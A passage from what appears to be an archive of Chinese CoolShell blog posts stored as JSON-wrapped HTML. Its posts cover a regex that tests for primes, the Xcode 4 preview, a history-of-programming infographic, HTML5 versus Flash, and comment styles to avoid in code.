href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21672.html\"><img alt=\"我做系统架构的一些原则\" height=\"150\" src=\"../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21672.html\">我做系统架构的一些原则</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2681.html\">Kent Beck 谈单元测试和持续部署</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-23 检查素数的正则表达式.html",
    "content": "<html><body><p>一般来说，我们会使用正规表达式来做字符串匹配，今天在网上浏览的时候，看到了有人用正则表达式来检查一个数字是否为素数（质数），让我非常感兴趣，这个正则表达式如入所示：</p>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_2705\" style=\"width: 450px;\"><img alt=\"\" class=\"size-full wp-image-2705\" height=\"45\" src=\"../wp-content/uploads/2010/07/regexpr-for-prime-number.jpg\" title=\"检查素数的正则表达式\" width=\"450\"/><figcaption class=\"wp-caption-text\" id=\"caption-attachment-2705\">检查素数与否的正则表达式 </figcaption></figure>\n<p>要使用这个正规则表达式，你需要把自然数转成多个1的字符串，如：2 要写成 “11”， 3 要写成 “111”, 17 要写成“11111111111111111”，这种工作使用一些脚本语言可以轻松的完成。</p>\n<p>一开始我对这个表达式持怀疑态度，但仔细研究了一下这个表达式，发现是非常合理的，下面，让我带你来细细剖析一下是这个表达式的工作原理。</p>\n<p>首先，我们看到这个表达式中有“|”，也就是说这个表达式可以分成两个部分：/^1?$/ 和 /^(11+?)\\1+$/</p>\n<ul>\n<li><strong>第一部分：/^1?$/</strong>， 这个部分相信不用我多说了，其表示匹配“空串”以及字串中只有一个“1”的字符串。</li>\n<li><strong>第二部分：/^(11+?)\\1+$/</strong>，这个部分是整个表达式的关键部分。其可以分成两个部分，<strong>(11+?)</strong> 和<strong>\\1+$</strong>，前半部很简单了，匹配以“11”开头的并重复0或n个1的字符串，后面的部分意思是把前半部分作为一个字串去匹配还剩下的字符串1次或多次（这句话的意思是——<span style=\"color: #008000;\">剩余的字串的1的个数要是前面字串1个数的整数倍</span>）。</li>\n</ul>\n<p>可见这个正规则表达式是取非素数，要得到素数还得要对整个表达式求反。通过上面的分析，我们知道，第二部分是最重要的，对于第二部分，举几个例子，</p>\n<p><span id=\"more-2704\"></span></p>\n<p><strong>示例一：判断自然数8</strong>。我们可以知道，8转成我们的格式就是“11111111”，对于<strong>(11+?)</strong>，其匹配了“11”，于是还剩下“111111”，而<strong>\\1+$</strong>正好匹配了剩下的“111111”，因为，“11”这个模式在“111111”出现了三次，符合模式匹配，返回true。所以，匹配成功，于是这个数不是质数。</p>\n<p><strong>示例二：判断自然数11</strong>。转成我们需要的格式是“11111111111”（十一个1），对于<strong>(11+?)</strong>，其匹配了“11”（前两个1），还剩下“111111111”（九个1），而<strong>\\1+$</strong>无法为“11”匹配那“九个1”，因为“11”这个模式并没有在“九个1”这个串中正好出现N次。于是，我们的正则表达式引擎会尝试下一种方法，先匹配“111”（前三个1），然后把“111”作为模式去匹配剩下的“11111111”（八个1），很明显，那“八个1”并没有匹配“三个1”多次。所以，引擎会继续向下尝试……直至尝试所有可能都无法匹配成功。所以11是素数。</p>\n<p>通过示例二，我们可以得到这样的等价数算算法，正则表达式会匹配这若干个1中有没有出现“二个1”的整数倍，“三个1”的整数倍，“四个1”的整数倍……，而，这正好是我们需要的算素数的算法。现在大家明白了吧。</p>\n<p>下面，我们用perl来使用这个正规则表达式不停地输出素数：（关于perl的语法我就不多说了，请注意表达式前的取反操作符）</p>\n<p>[perl]perl -e’$|++;(1 x$_)!~/^1?$|^(11+?)\\1+$/&amp;&amp;print\"$_ \"while ++$_'[/perl]</p>\n<p>另外，让我们来举一反三，根据上述的这种方法，我们甚至可以用正则表达式来求证某方式是否有解，如：</p>\n<ul>\n<li><strong>二元方程</strong>：17x + 12y = 51   判断其是否有解的正则表达式是：<strong>^</strong><strong>(</strong><strong>.*</strong><strong>)</strong><strong>\\1{16}</strong><strong>(</strong><strong>.*</strong><strong>)</strong><strong>\\2{11}$</strong></li>\n<li><strong>三元方程</strong>：11x + 2y + 5z = 115 判断其是否有解的正则表达式是：<strong>^</strong><strong>(</strong><strong>.*</strong><strong>)</strong><strong>\\1{10}</strong><strong>(</strong><strong>.*</strong><strong>)</strong><strong>\\2{1}</strong><strong>(</strong><strong>.*</strong><strong>)</strong><strong>\\3{4}$</strong></li>\n</ul>\n<p>大家不妨自己做做练习，为什么上述的两个正则表达式可以判断方程是否有解。如果无法参透其中的奥妙的话，你可以读读这篇<a href=\"http://blog.stevenlevithan.com/archives/algebra-with-regexes\" target=\"_blank\">英文文章</a>。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2667.html\"><img alt=\"浏览器正则表达式检查插件\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2667.html\">浏览器正则表达式检查插件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1830.html\"><img alt=\"正则表达式生成器\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1830.html\">正则表达式生成器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1387.html\"><img alt=\"十个Web开发文章和教程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1387.html\">十个Web开发文章和教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1574.html\"><img alt=\"bash 函数级重定向\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1574.html\">bash 函数级重定向</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1095.html\"><img alt=\"整洁代码的4个提示\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1095.html\">整洁代码的4个提示</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2704.html\">检查素数的正则表达式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-23 苹果开发工具Xcode 4 第二预览版.html",
    "content": "<html><body><p>今天，苹果公司向开发者发布Xcode 4 Preview 2，这是一个IDE用来开发在Mac，iPhone，iPad上应用程序的工具。在这个第二预览版中，主要有以下新的功能：</p>\n<ul>\n<li>这个版本不像以往的版本有太多的窗口，其把以前那些窗口督统一起来，只有一个窗口。</li>\n<li>集成了Interface Builder（以前这个东东和Xcode是两个东西）</li>\n<li>Xcode Assistant 可以让你的设计和代码同时呈现。</li>\n<li>LLVM Compiler 2.0。LLVM是下一代的编译器，其完全支持C，C++和Objective C，而且编译的速度和编译成的执行速度都快于GCC。同时也引入了LLDB做为新的调试器。</li>\n<li>多版本编译。这个功能可以让你在IDE中编译两个版本的代码，而且可以和Subversion或Git集成。</li>\n</ul>\n<p>你可以访问 <a href=\"http://developer.apple.com/technologies/tools/whats-new.html\" target=\"_blank\">What’s New</a> 来看看具体的细节。</p>\n<p><figure class=\"wp-caption aligncenter\" style=\"width: 651px;\"><a href=\"http://developer.apple.com/technologies/tools/whats-new.html\"><img alt=\"\" height=\"409\" src=\"http://devimages.apple.com/technologies/tools/images/new_single_window20100721.jpg\" title=\"苹果开发工具Xcode 4 Preview 2\" width=\"651\"/></a><figcaption class=\"wp-caption-text\">苹果开发工具Xcode 4 Preview 2</figcaption></figure><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5089.html\"><img alt=\"10个必需的iOS开发工具和资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5089.html\">10个必需的iOS开发工具和资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2913.html\"><img alt=\"消费者的消费观\" height=\"150\" src=\"../wp-content/uploads/2010/09/1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2913.html\">消费者的消费观</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11112.html\"><img alt=\"由苹果的低级Bug想到的\" height=\"150\" src=\"../wp-content/uploads/2014/02/apple_goto_fail-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11112.html\">由苹果的低级Bug想到的</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7617.html\"><img alt=\"抄袭，腾讯 和 产品 \" height=\"150\" src=\"../wp-content/uploads/2012/06/i-hate-copycat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7617.html\">抄袭，腾讯 和 产品 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6775.html\"><img alt=\"Bret Victor – Inventing on Principle\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6775.html\">Bret Victor – Inventing on Principle</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5901.html\"><img alt=\"腾讯，竞争力 和 用户体验\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5901.html\">腾讯，竞争力 和 用户体验</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2719.html\">苹果开发工具Xcode 4 第二预览版</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-25 计算机编程简史图.html",
    "content": "<html><body><p>这个图片太经典了，本来想翻译的，后来觉得这么经典的图片可能早已被人翻译了，简单的Google一下，果然有人翻译了。那我就把英文版和中文版都转过来吧。我们可以看到，其中很大一部分人都和Unix有着不解之缘（参见《<a href=\"https://coolshell.cn/articles/2322.html\" rel=\"bookmark\" target=\"_blank\">Unix传奇上篇</a>，<a href=\"https://coolshell.cn/articles/2324.html\" target=\"_blank\">Unix传奇下篇</a>》）</p>\n<ul>\n<li><a href=\"http://www.smashingmagazine.com/2010/06/06/designing-the-world-of-programming-infographic/\" target=\"_blank\">英文原版</a></li>\n<li><a href=\"http://www.mazingtech.com/cn/list.aspx/News/1/%E5%9B%BE%E8%AF%B4%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BC%96%E7%A8%8B%E7%AE%80%E5%8F%B2\" target=\"_blank\">中文翻译版</a></li>\n</ul>\n<p>什么也不说了，直接上图（图片比较大，单击图片看大图）</p>\n<hr/>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_2726\" style=\"width: 409px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04.eng_.jpg\"><img alt=\"\" class=\"size-large wp-image-2726\" height=\"1024\" src=\"../wp-content/uploads/2010/07/aboutprogramming04.eng_-409x1024.jpg\" title=\"计算机编程简史图（英文版） \" width=\"409\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-2726\">计算机编程简史图（英文版） </figcaption></figure>\n<hr/>\n<p><span id=\"more-2724\"></span></p>\n<p><figure class=\"wp-caption aligncenter\" id=\"attachment_2725\" style=\"width: 409px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/07/aboutprogramming04_cn.jpg\"><img alt=\"\" class=\"size-large wp-image-2725\" height=\"1024\" src=\"../wp-content/uploads/2010/07/aboutprogramming04_cn-409x1024.jpg\" title=\"计算机编程简史图（中文版） \" width=\"409\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-2725\">计算机编程简史图（中文版） </figcaption></figure><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19996.html\"><img alt=\"Unix 50 年：Ken Thompson 的密码\" height=\"150\" src=\"../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19996.html\">Unix 50 年：Ken Thompson 的密码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12103.html\"><img alt=\"vfork 挂掉的一个问题\" height=\"150\" src=\"../wp-content/uploads/2014/11/tux-fork-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2724.html\">计算机编程简史图</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-27 HTML5 和 Flash 之争.html",
    "content": "<html><body><p><em><a href=\"http://html5.tomasdev.com.ar/\">文章来源</a></em></p>\n<p>二者之间的竞争会演变成为一场“战争”吗？（现在甚至出现了可以<a href=\"https://coolshell.cn/articles/2497.html\" rel=\"bookmark\" target=\"_blank\">把Flash转成Javascript/HTML5</a>的工具）</p>\n<p>首先需要弄清楚二者之间最主要的区别，HTML 是一种语言（超文本标记语言 – HyperText Markup Language），而 Flash 是 Adobe（其收购了Macromedia）公司的一个浏览器插件（Plugin）。HTML5 目前还是 W3.org 规范中一个草案，这意味着其还没有最终定案，希望到 2012 年这项工作能够完成。</p>\n<p>以下是二者各自的一些特点：</p>\n<h4><strong>HTML5</strong></h4>\n<p>这个新的技术更为易学和易用，比较 .FLA 和 .SWF 文件更容易编辑。并且基本上过去所有由 Flash 才能制作的动画效果都能够使用 JS + HTML5 + CSS 3 来完成，不过工作量可能会更大一些，不仅文件尺寸会增大，性能方面也会有影响。</p>\n<p>以前为 Web 表单设定风格我们一定需要使用到 JavaScript， 但是 HTML5 中的 contenteditable 属性让我们可以做得更多。一些新的输入类型（Types of Inputs）也被加入到 HTML5 中，如：电子邮件，数字，值范围等等。</p>\n<p>用户不仅仅需要一个支持 HTML5 的浏览器，还需要 CCS 3 和新的 JavaScript 引擎的支持。</p>\n<p>免费（不包括第三方字体和音频视频等等）</p>\n<p>更好地移动设备支持（HTML5 正在被运用于 iPhone，iPod，iPad 和 Android 应用的开发）</p>\n<p>拖拽，事实上这不是 HTML5 的一部分，但是在新版本的 GMail 中，从桌面拖拽文件到浏览器能够用 HTML5 很好地实现。对于 Flash 我不知道这是否可以实现？</p>\n<p><span id=\"more-2735\"></span></p>\n<h4><strong>Flash</strong></h4>\n<p>文件经过压缩，所以文件尺寸会比 HTML5 + CSS + JavaScript + 图像 + 其他 小。</p>\n<p>硬件优化</p>\n<p>需要安装 Flash 插件， Android 2.2（代号 FroYo）同样支持 Flash 插件。</p>\n<p>Adobe 在它的 Creative Suite 5 中包含了 Flash Builder 4.0。</p>\n<p>也许对很多人来说，相对于 HTML + JavaScript + CSS，Flash 应用 更难于“破解”。</p>\n<p>以下是一些 Flash 能够实现而 HTML5 + JavaScript + CSS 3 不能的功能：</p>\n<ul>\n<li>增强现实（Augmented Reality）</li>\n<li>3D</li>\n<li>真正的面向对象，而非原型（Prototyping）</li>\n<li>对麦克风和摄像头的支持（事实上 HTML5 已经宣布要提供这些支持）</li>\n<li>混色模式（如：渐进色，重叠色等等）</li>\n<li>Action Message Format （AMF）</li>\n<li>二进制数据（Binary Data）</li>\n<li>位图数据（BitMapData，HTML5 的画布 Canvas 和矢量标记语言 VML 可以实现近似的功能）</li>\n<li>图形处理器的利用（Use of GPU）</li>\n</ul>\n<h4>结论</h4>\n<p>HTML5 是一项新技术，很多人会想要尝试它，而 Flash 业已存在很久，并且还将会有很长的生命周期。HTML5 短期内无法完全替代 Flash，而 Flash 可以作为 HTML5 的一个很好的补充。</p>\n<h4>HTML5 相关的一些链接</h4>\n<ul>\n<li><a href=\"http://html5test.com/\">HTML5 Browser Compatibility Test</a></li>\n<li><a href=\"http://www.apple.com/html5/\">HTML5 by Apple</a></li>\n<li><a href=\"http://html5demos.com/\">HTML5 Demos</a></li>\n<li><a href=\"http://www.html5rocks.com/\">HTML5 Rocks</a></li>\n<li><a href=\"http://html5watch.tumblr.com/\">HTML5 Watch</a>, not necessarily HMTL5 but interesting applies of JS like the Google Pacman</li>\n<li><a href=\"http://www.chromeexperiments.com/\">Chrome Experiments</a></li>\n<li><a href=\"http://www.webhostingsecretrevealed.com/featured-articles/learn-html5-10-must-read-lessons/\">Learn HTML5: 10 must read lessons</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2926.html\"><img alt=\"你准备使用 HTML 5 吗？\" height=\"150\" src=\"../wp-content/uploads/2010/09/WTF_HTML51-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2926.html\">你准备使用 HTML 5 吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12206.html\"><img alt=\"HTML6 展望\" height=\"150\" src=\"../wp-content/uploads/2014/12/html6-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12206.html\">HTML6 展望</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2735.html\">HTML5 和 Flash 之争</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-7-28 五种应该避免的代码注释.html",
    "content": "<html><body><p>在酷壳，有很多文章都提到了代码注释，如：《<a href=\"https://coolshell.cn/articles/2424.html\" rel=\"bookmark\" target=\"_blank\">十条不错的编程观点</a>》、《<a href=\"https://coolshell.cn/articles/1007.html\" rel=\"bookmark\" target=\"_blank\">优质代码的十诫</a>》、《<a href=\"https://coolshell.cn/articles/1095.html\" rel=\"bookmark\" target=\"_blank\">整洁代码的4个提示</a>》、《<a href=\"https://coolshell.cn/articles/340.html\" rel=\"bookmark\" target=\"_blank\">惹恼程序员的十件事</a>》等等。今天，某国外的程序员在<a href=\"http://repeatgeek.com/career/5-types-of-comments-to-avoid-making-in-your-code/\" target=\"_blank\"><strong>这里</strong></a>列举五种应该避免的程序注释，我觉得比较有道理，但我觉得有少数几个观点也并不绝对。所以，我把原文的这五种应该避免的程序注释罗列在下面，并放上原作者和我的个人观点作为比较。希望对大家有用。</p>\n<h3>一、自恋型注释</h3>\n<p>（注：原文为Proud，我觉得“自恋”更好一点）</p>\n<pre class=\"EnlighterJSRAW\">\npublic class Program\n{\n    static void Main(string[] args)\n    {\n        string message = \"Hello World!\";  // 07/24/2010 Bob\n        Console.WriteLine(message); // 07/24/2010 Bob\n        message = \"I am so proud of this code!\"; // 07/24/2010 Bob\n        Console.WriteLine(message); // 07/24/2010 Bob\n    }\n}</pre>\n<p><strong>原文</strong>：这样的程序员对于自己的代码改动非常骄傲和自恋，所以，他觉得需在在这些自己的代码上标上自己的名字。其实，一个版本控制工具（如：CVS或Subversion）可以完整地记录下所有的关于代码的改动的和作者相关的一切信息，只不过不是那么明显罢了。</p>\n<p><strong>陈皓</strong>：我同意原文的观点。在我的团队里也有这样的事情发生。有段时间我认真思考过这样的事情，是否应该把这样的事情在代码中铲除出去。后来，我觉得，允许这样的行为并不一定是坏事，因为两点：</p>\n<p><span id=\"more-2746\"></span></p>\n<ol>\n<li>调动程序员下属的积极性可能更为重要。即然，这种方式可以让程序员有骄傲的感觉，能在写代码中找到成就感，为什么要阻止呢？又不是什么大问题。</li>\n<li>调动程序员的负责任的态度。程序员敢把自己的名字放在代码里，说明他对这些代码的信心，是想向大家展示其才能。所以，他当然知道，如果这段他加入的代码有问题的话，他的声誉必然受到损失，所以，他敢这么干，也就表明他敢于对自己的代码全面的负责。这不正是我们所需要的？！</li>\n</ol>\n<p>所以，基于上述考虑，我个人认为，<strong>从代码的技术角度上来说，这样的注释很不好。但从团队的激励和管理上来说，这样的方式可能也挺好的</strong>。所以，我并不阻止也不鼓励这样的注释。关键在于其是否能有更好的结果。</p>\n<h3>二、废弃代码的注释</h3>\n<pre class=\"EnlighterJSRAW\">\npublic class Program\n{\n    static void Main(string[] args)\n    {\n        /* This block of code is no longer needed\n         * because we found out that Y2K was a hoax\n         * and our systems did not roll over to 1/1/1900 */\n        //DateTime today = DateTime.Today;\n        //if (today == new DateTime(1900, 1, 1))\n        //{\n        //    today = today.AddYears(100);\n        //    string message = \"The date has been fixed for Y2K.\";\n        //    Console.WriteLine(message);\n        //}\n    